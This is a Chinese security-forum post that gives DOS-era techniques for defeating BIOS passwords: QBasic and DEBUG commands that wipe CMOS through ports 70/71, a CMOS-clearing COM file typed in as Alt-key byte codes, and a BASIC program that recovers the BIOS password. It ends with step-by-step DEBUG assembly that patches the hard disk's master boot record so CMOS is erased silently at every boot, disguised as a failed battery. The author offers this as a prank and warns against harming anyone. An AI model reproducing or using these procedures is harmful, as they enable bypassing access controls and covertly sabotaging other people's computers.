论坛: 菜鸟乐园 标题: RE:有关cmos的东西, 复制本贴地址    
作者: wwiinngd [wwiinngd]    论坛用户   登录
qbease
out &h70,&h2f
d=inp(&h71)+1
out &h71,2
end

debug
-70 10
-71 01
-q



运行屏幕编辑命令: COPY CON CMOS.COM(当然你也可以用象edit这样的编辑器来写,不过DEBUG没有怎么能保证你有EDIT呢?),然后按住Alt键,在小键盘上输入:179(松开键,再按下,继续输入),55(重复步骤),136,216,230,112,176,32,230,113,254,195,128,251,64,117,241,195,最后按+(回车)存盘,这样也生成了一个20个字节的CMOS.COM文件,然 新启动,此时CMOS中所有内容已被清除,您可以自由的修改里面的东西,当然也包括密码!
或 176,17,230,p,176,20,230,q,205,空格,


bios解密
10 SCREEN 0
20 COLOR 10,5
30 DIM A(9)
40 CLS
50 PRINT SPACE$(980);TAB(22);"THE PASSWORD FOR ZHE BIOS IS:";
60 OUT&H70,28
70 P=INP(&H71)
80 OUT&H70,29
90 Q=INP(&H71)
100 X=16^2*Q+P
110 COLOR 30,5
120 I=0:J=0:N=0
130 Y=X+I*65535
140 Z=INT(3*Y/(4^(N+1)-1))
150 IF Z<=126 THEN 190
160 N=N+1
170 IF N<8 THEN 140
180 I=I+1:J=0:N=0:X=16^2*Q+P:GOTO 130
190 IF Z<32 THEN 180
200 A(J)=Z:J=J+1:A=Y-Z*4^N
210 IF A=0 THEN 230
220 N=N-1:Y=A:GOTO 140
230 FOR K=0 TO J
240 PRINT CHR$(A(K));
250 NEXT
260 COLOR 10,5
270 END




清除密码自然要在不知不觉之中,我曾经把清除密码的程序写在引导纪录里,然后每次开机都会清除密码,而看上去却像是CMOS电池没有电了,嘿嘿,这一招只可以用来开玩笑,不可害人。具体方法如下: 
C:/>debug 
-A 100 
  mov ax,0201 
  mov bx,0200 
  mov cx,0001 
  mov dx,0301 
  int 13 
  int 3 

-G=100 
然后用U命令查看200地址的代码,一般为跳转指令,3个字节,也有可能是其它的指令,不论是什么指令,把它记下来,如果指令少于3个字节,把下一条指令也记下来,然后修改200地址的第一条指令为JMP XXX,XXX为一个地址,这个地址在主引导纪录以后找,它是主引导纪录以后的一个空闲区域的开始地址,而这里就是你的程序的存储区。假设我们纪录的两条语句是xor ax, ax和jmp 246,空白区域的开始地址为380,下面来开始写我们的清除密码程序: 

-A 200 
  jmp 380 

-A 380 
  mov al, 10 
  out 70, al 
  out 71, al 
  xor ax, ax 
  jmp 246 

最后我们把修改后的引导纪录写回到硬盘中去: 
-A 
  mov ax, 0301 
  mov bx, 0200 
  mov cx, 0001 
  mov dx, 0080 
  int 13 
  int 3 

-G=100 
-Q 
好了,从下次这台机器启动以后,以后每次CMOS的参数都会丢失,密码也就没有了,哈哈,是不是很坏啊! 
如果有人要你帮他修,嘿嘿,一条语句就修好了。fdisk /mbr 
切忌,勿害人!! 
 

地主 发表时间: 04/05 19:38

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号